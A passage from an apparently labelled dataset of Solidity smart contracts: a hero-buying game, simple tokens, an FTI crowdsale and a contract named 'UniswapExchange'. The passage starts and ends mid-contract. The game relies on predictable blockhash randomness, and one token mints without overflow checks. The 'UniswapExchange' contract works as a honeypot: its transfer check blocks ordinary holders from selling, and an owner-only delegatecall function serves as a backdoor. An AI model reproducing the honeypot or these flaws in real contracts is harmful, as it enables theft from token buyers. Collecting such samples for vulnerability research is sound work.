function ChangePartners(address _partner1,uint8 _percent1,address _partner2,uint8 _percent2) public OnlyOwner(){
partner1 = _partner1;
percent1 = _percent1;
partner2 = _partner2;
percent2 = _percent2;
}
function ChangeDatabase(address db) public OnlyOwner(){
m_Database = AbstractDatabase(db);
}
function HeroHelperBuy() public{
m_Owner = msg.sender;
m_Paused = true;
}
function GetHeroStock(uint16 stockhero_id) private view returns (LibStructs.StockHero){
LibStructs.StockHero memory stockhero = LibStructs.DeserializeStockHero(m_Database.Load(NullAddress, HeroStockCategory, stockhero_id));
return stockhero;
}
function GetHeroStockPrice(uint16 stockhero_id) public view returns (uint){
LibStructs.StockHero memory stockhero = LibStructs.DeserializeStockHero(m_Database.Load(NullAddress, HeroStockCategory, stockhero_id));
return stockhero.price;
}
function GetHeroCount(address _owner) public view returns (uint32){
return uint32(m_Database.Load(_owner, HeroCategory, 0));
}
function receiveApproval(address _sender, uint256 _value, BitGuildToken _tokenContract, bytes _extraData) public {
require(_tokenContract == tokenContract);
require(_tokenContract.transferFrom(_sender, address(m_Database), _value));
require(_extraData.length != 0);
uint16 hero_id = uint16(_bytesToUint(_extraData));
BuyStockHeroP1(hero_id,_value,_sender);
}
event BuyStockHeroEvent(address indexed buyer, uint32 stock_id, uint32 hero_id);
event showValues(uint256 _value,uint256 _price,uint256 _stock,uint256 hero_id);
function _bytesToUint(bytes _b) public pure returns(uint256) {
uint256 number;
for (uint i=0; i < _b.length; i++) {
number = number + uint(_b[i]) * (2**(8 * (_b.length - (i+1))));
}
return number;
}
function BuyStockHeroP1(uint16 stock_id,uint256 _value,address _sender) public {
LibStructs.StockHero memory prehero = GetHeroStock(stock_id);
uint256 finneyPrice = prehero.price;
finneyPrice = finneyPrice.mul( 1000000000000000000 );
showValues(_value, finneyPrice,prehero.stock,stock_id);
require(_value == finneyPrice && prehero.stock > 0);
BuyStockHeroP2(_sender,stock_id,m_Database.getRandom(100,uint8(_sender)));
}
function giveHeroRandomRarity(address target,uint16 stock_id,uint random) public OnlyOwner(){
BuyStockHeroP2(target,stock_id,random);
}
function BuyStockHeroP2(address target,uint16 stock_id,uint random) internal{
uint256 inventory_count;
LibStructs.StockHero memory prehero = GetHeroStock(stock_id);
LibStructs.Hero memory hero = buyHero(prehero,stock_id,random);
GlobalTypes.Global memory global = GlobalTypes.DeserializeGlobal(m_Database.Load(NullAddress, GlobalCategory, 0));
uint256 finneyPrice = prehero.price*1000000000000000000;
prehero.stock = prehero.stock.sub(1);
global.m_LastHeroId = global.m_LastHeroId.add(1);
uint32 next_hero_id = global.m_LastHeroId;
inventory_count = GetInventoryHeroCount(target);
inventory_count = inventory_count.add(1);
OwnershipTypes.Ownership memory ownership;
ownership.m_Owner = target;
ownership.m_OwnerInventoryIndex = uint32(inventory_count.sub(1));
m_Database.Store(target, InventoryHeroCategory, inventory_count, bytes32(next_hero_id));
m_Database.Store(target, InventoryHeroCategory, 0, bytes32(inventory_count));
m_Database.Store(NullAddress, HeroStockCategory, stock_id, LibStructs.SerializeStockHero(prehero));
m_Database.Store(NullAddress, HeroCategory, next_hero_id, LibStructs.SerializeHero(hero));
m_Database.Store(NullAddress, OwnershipHeroCategory, next_hero_id, OwnershipTypes.SerializeOwnership(ownership));
m_Database.Store(NullAddress, GlobalCategory, 0, GlobalTypes.SerializeGlobal(global));
divProfit(finneyPrice);
BuyStockHeroEvent(target, stock_id, next_hero_id);
}
function divProfit(uint _value) internal{
uint256 profit_funds = uint256(m_Database.Load(bitGuildAddress, WithdrawalFundsCategory, 0));
profit_funds = profit_funds.add(_value.div(10).mul(3));
m_Database.Store(bitGuildAddress, WithdrawalFundsCategory, 0, bytes32(profit_funds));
profit_funds = uint256(m_Database.Load(NullAddress, ProfitFundsCategory, 0));
profit_funds = profit_funds.add(_value.div(10).mul(7));
m_Database.Store(NullAddress, ProfitFundsCategory, 0, bytes32(profit_funds));
}
function GetInventoryHeroCount(address target) view public returns (uint256){
require(target != address(0));
uint256 inventory_count = uint256(m_Database.Load(target, InventoryHeroCategory, 0));
return inventory_count;
}
function buyHero(LibStructs.StockHero prehero,uint16 stock_id,uint random) internal returns(LibStructs.Hero hero){
uint8 rarity = 1;
if(random == 99){
rarity = 5;
}else if( random >= 54 && random <= 79 ){
rarity = 2;
}else if(random >= 80 && random <= 92){
rarity = 3;
}else if(random >= 93 && random <= 98){
rarity = 4;
}else{
rarity = 1;
}
uint16[5] memory mainStats = generateHeroStats(prehero,rarity);
hero = assembleHero(mainStats,rarity,stock_id);
return hero;
}
function assembleHero(uint16[5] _mainStats,uint8 _rarity,uint16 stock_id) private pure returns(LibStructs.Hero){
uint16 stockID = stock_id;
uint8 rarity= _rarity;
uint16 hp= _mainStats[0];
uint16 atk= _mainStats[1];
uint16 def= _mainStats[2];
uint16 agi= _mainStats[3];
uint16 intel= _mainStats[4];
uint16 cHp= _mainStats[0];
uint8 critic= 0;
uint8 healbonus= 0;
uint8 atackbonus= 0;
uint8 defensebonus= 0;
return LibStructs.Hero(stockID,rarity,hp,atk,def,agi,intel,cHp,0,1,0);
}
function generateHeroStats(LibStructs.StockHero prehero, uint8 rarity) private view returns(uint16[5] ){
uint32 goodPoints = 0;
uint32 normalPoints = 0;
uint8 i = 0;
uint16[5] memory arrayStartingStat;
i = i.add(1);
uint32 points = prehero.stars.add(2).add(rarity);
uint8[2] memory mainStats = [prehero.mainOnePosition,prehero.mainTwoPosition];
goodPoints = points;
normalPoints = 8;
arrayStartingStat = spreadStats(mainStats,goodPoints,normalPoints,i);
return arrayStartingStat;
}
function spreadStats(uint8[2] mainStats,uint32 mainPoints,uint32 restPoints,uint index) private view returns(uint16[5]){
uint32 i = 0;
uint16[5] memory arr = [uint16(1),uint16(1),uint16(1),uint16(1),uint16(1)];
bytes32 blockx = block.blockhash(block.number.sub(1));
uint256 _seed = uint256(sha3(blockx, m_Database.getRandom(100,uint8(i))));
while(i < mainPoints){
uint8 position = uint8(( _seed / (10 ** index)) %10);
if(position < 5){
position = 0;
}
else{
position = 1;
}
arr[mainStats[position]] = arr[mainStats[position]].add(1);
i = i.add(1);
index = index.add(1);
}
i=0;
while(i < restPoints){
uint8 positionz = uint8(( _seed / (10 ** index)) %5);
arr[positionz] = arr[positionz].add(1);
i = i.add(1);
index = index.add(1);
}
return arr;
}
}
contract BitGuildToken{
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success);
}
contract AbstractDatabase
{
function() public payable;
function ChangeOwner(address new_owner) public;
function ChangeOwner2(address new_owner) public;
function Store(address user, uint256 category, uint256 slot, bytes32 data) public;
function Load(address user, uint256 category, uint256 index) public view returns (bytes32);
function TransferFunds(address target, uint256 transfer_amount) public;
function getRandom(uint256 upper, uint8 seed) public returns (uint256 number);
} | 1 | 4,118 |
pragma solidity ^0.4.15;
contract MyOwned {
address public owner;
function MyOwned() public { owner = msg.sender; }
modifier onlyOwner { require(msg.sender == owner ); _; }
function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; }
}
interface recipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract MyToken is MyOwned {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target,bool frozen);
event Transfer(address indexed from,address indexed to,uint256 value);
function MyToken(uint256 initialSupply,string tokenName,string tokenSymbol,uint8 decimalUnits){
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function freezeAccount(address target,bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value){
require(!frozenAccount[msg.sender]);
require (balanceOf[msg.sender] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
} | 1 | 3,901 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract ClosedPeriod is TimedCrowdsale {
uint256 startClosePeriod;
uint256 stopClosePeriod;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
require(block.timestamp < startClosePeriod || block.timestamp > stopClosePeriod);
_;
}
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _openClosePeriod,
uint256 _endClosePeriod
) public
TimedCrowdsale(_openingTime, _closingTime)
{
require(_openClosePeriod > 0);
require(_endClosePeriod > _openClosePeriod);
startClosePeriod = _openClosePeriod;
stopClosePeriod = _endClosePeriod;
}
}
contract OptionsToken is StandardToken, Ownable {
using SafeMath for uint256;
bool revertable = true;
mapping (address => uint256) public optionsOwner;
modifier hasOptionPermision() {
require(msg.sender == owner);
_;
}
function storeOptions(address recipient, uint256 amount) public hasOptionPermision() {
optionsOwner[recipient] += amount;
}
function refundOptions(address discharged) public onlyOwner() returns (bool) {
require(revertable);
require(optionsOwner[discharged] > 0);
require(optionsOwner[discharged] <= balances[discharged]);
uint256 revertTokens = optionsOwner[discharged];
optionsOwner[discharged] = 0;
balances[discharged] = balances[discharged].sub(revertTokens);
balances[owner] = balances[owner].add(revertTokens);
emit Transfer(discharged, owner, revertTokens);
return true;
}
function doneOptions() public onlyOwner() {
require(revertable);
revertable = false;
}
}
contract ContractableToken is MintableToken, OptionsToken {
address[5] public contract_addr;
uint8 public contract_num = 0;
function existsContract(address sender) public view returns(bool) {
bool found = false;
for (uint8 i = 0; i < contract_num; i++) {
if (sender == contract_addr[i]) {
found = true;
}
}
return found;
}
modifier onlyContract() {
require(existsContract(msg.sender));
_;
}
modifier hasMintPermission() {
require(existsContract(msg.sender));
_;
}
modifier hasOptionPermision() {
require(existsContract(msg.sender));
_;
}
event ContractRenounced();
event ContractTransferred(address indexed newContract);
function setContract(address newContract) public onlyOwner() {
require(newContract != address(0));
contract_num++;
require(contract_num <= 5);
emit ContractTransferred(newContract);
contract_addr[contract_num-1] = newContract;
}
function renounceContract() public onlyOwner() {
emit ContractRenounced();
contract_num = 0;
}
}
contract FTIToken is ContractableToken {
string public constant name = "GlobalCarService Token";
string public constant symbol = "FTI";
uint8 public constant decimals = 18;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(msg.sender == owner || mintingFinished);
super.transferFrom(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.sender == owner || mintingFinished);
super.transfer(_to, _value);
return true;
}
}
contract FTICrowdsale is CappedCrowdsale, MintedCrowdsale, ClosedPeriod, Ownable {
using SafeMath for uint256;
uint256 public referralMinimum;
uint8 public additionalTokenRate;
uint8 public referralPercent;
uint8 public referralOwnerPercent;
bool public openingManualyMining = true;
modifier onlyOpeningManualyMinig() {
require(openingManualyMining);
_;
}
struct Pay {
address payer;
uint256 amount;
}
struct ReferalUser {
uint256 fundsTotal;
uint32 numReferrals;
uint256 amountWEI;
uint32 paysCount;
mapping (uint32 => Pay) pays;
mapping (uint32 => address) paysUniq;
mapping (address => uint256) referral;
}
mapping (address => ReferalUser) public referralAddresses;
uint8 constant maxGlobInvestor = 5;
struct BonusPeriod {
uint64 from;
uint64 to;
uint256 min_amount;
uint256 max_amount;
uint8 bonus;
uint8 index_global_investor;
}
BonusPeriod[] public bonus_periods;
mapping (uint8 => address[]) public globalInvestor;
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _openClosePeriod,
uint256 _endClosePeriod,
uint256 _rate,
address _wallet,
uint256 _cap,
FTIToken _token,
uint8 _additionalTokenRate,
uint8 _referralPercent,
uint256 _referralMinimum,
uint8 _referralOwnerPercent
) public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
ClosedPeriod(_openingTime, _closingTime, _openClosePeriod, _endClosePeriod)
{
require(_additionalTokenRate > 0);
require(_referralPercent > 0);
require(_referralMinimum > 0);
require(_referralOwnerPercent > 0);
additionalTokenRate = _additionalTokenRate;
referralPercent = _referralPercent;
referralMinimum = _referralMinimum;
referralOwnerPercent = _referralOwnerPercent;
}
function bytesToAddress(bytes source) internal constant returns(address parsedReferer) {
assembly {
parsedReferer := mload(add(source,0x14))
}
require(parsedReferer != msg.sender);
return parsedReferer;
}
function processReferral(address owner, address _beneficiary, uint256 _weiAmount) internal {
require(owner != address(0));
require(_beneficiary != address(0));
require(_weiAmount != 0);
ReferalUser storage rr = referralAddresses[owner];
if (rr.amountWEI > 0) {
uint mintTokens = _weiAmount.mul(rate);
uint256 ownerToken = mintTokens.mul(referralOwnerPercent).div(100);
rr.fundsTotal += ownerToken;
if (rr.referral[_beneficiary] == 0){
rr.paysUniq[rr.numReferrals] = _beneficiary;
rr.numReferrals += 1;
}
rr.referral[_beneficiary] += _weiAmount;
rr.pays[rr.paysCount] = Pay(_beneficiary, _weiAmount);
rr.paysCount += 1;
FTIToken(token).mint(owner, ownerToken);
FTIToken(token).mint(_beneficiary, mintTokens.mul(referralPercent).div(100));
}
}
function addReferral(address _beneficiary, uint256 _weiAmount) internal {
if (_weiAmount > referralMinimum) {
ReferalUser storage r = referralAddresses[_beneficiary];
if (r.amountWEI > 0 ) {
r.amountWEI += _weiAmount;
}
else {
referralAddresses[_beneficiary] = ReferalUser(0, 0, _weiAmount, 0);
}
}
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
if (msg.data.length == 20) {
address ref = bytesToAddress(msg.data);
processReferral(ref, _beneficiary, _weiAmount);
}
addReferral(_beneficiary, _weiAmount);
uint8 index = indexSuperInvestor(_weiAmount);
if (index > 0 && globalInvestor[index].length < maxGlobInvestor) {
bool found = false;
for (uint8 iter = 0; iter < globalInvestor[index].length; iter++) {
if (globalInvestor[index][iter] == _beneficiary) {
found = true;
}
}
if (!found) {
globalInvestor[index].push(_beneficiary);
}
}
}
function referalCount (address addr) public view returns(uint64 len) {
len = referralAddresses[addr].numReferrals;
}
function referalAddrByNum (address ref_owner, uint32 num) public view returns(address addr) {
addr = referralAddresses[ref_owner].paysUniq[num];
}
function referalPayCount (address addr) public view returns(uint64 len) {
len = referralAddresses[addr].paysCount;
}
function referalPayByNum (address ref_owner, uint32 num) public view returns(address addr, uint256 amount) {
addr = referralAddresses[ref_owner].pays[num].payer;
amount = referralAddresses[ref_owner].pays[num].amount;
}
function addBonusPeriod (uint64 from, uint64 to, uint256 min_amount, uint8 bonus, uint256 max_amount, uint8 index_glob_inv) public onlyOwner {
bonus_periods.push(BonusPeriod(from, to, min_amount, max_amount, bonus, index_glob_inv));
}
function getBonusRate (uint256 amount) public constant returns(uint8) {
for (uint i = 0; i < bonus_periods.length; i++) {
BonusPeriod storage bonus_period = bonus_periods[i];
if (bonus_period.from <= now && bonus_period.to > now && bonus_period.min_amount <= amount && bonus_period.max_amount > amount) {
return bonus_period.bonus;
}
}
return 0;
}
function indexSuperInvestor (uint256 amount) public view returns(uint8) {
for (uint8 i = 0; i < bonus_periods.length; i++) {
BonusPeriod storage bonus_period = bonus_periods[i];
if (bonus_period.from <= now && bonus_period.to > now && bonus_period.min_amount <= amount && bonus_period.max_amount > amount) {
return bonus_period.index_global_investor;
}
}
return 0;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint8 bonusPercent = 100 + getBonusRate(_weiAmount);
uint256 amountTokens = _weiAmount.mul(rate).mul(bonusPercent).div(100);
return amountTokens;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
super._processPurchase(_beneficiary, _tokenAmount);
FTIToken(token).mint(wallet, _tokenAmount.mul(additionalTokenRate).div(100));
}
function closeManualyMining() public onlyOwner() {
openingManualyMining = false;
}
function manualyMintTokens(uint256 _weiAmount, address _beneficiary, uint256 mintTokens) public onlyOwner() onlyOpeningManualyMinig() {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(mintTokens != 0);
weiRaised = weiRaised.add(_weiAmount);
_processPurchase(_beneficiary, mintTokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
_weiAmount,
mintTokens
);
addReferral(_beneficiary, _weiAmount);
}
function makeOptions(uint256 _weiAmount, address _recipient, uint256 optionTokens) public onlyOwner() {
require(!hasClosed());
require(_recipient != address(0));
require(_weiAmount != 0);
require(optionTokens != 0);
weiRaised = weiRaised.add(_weiAmount);
_processPurchase(_recipient, optionTokens);
emit TokenPurchase(
msg.sender,
_recipient,
_weiAmount,
optionTokens
);
FTIToken(token).storeOptions(_recipient, _weiAmount);
addReferral(_recipient, _weiAmount);
}
} | 0 | 700 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
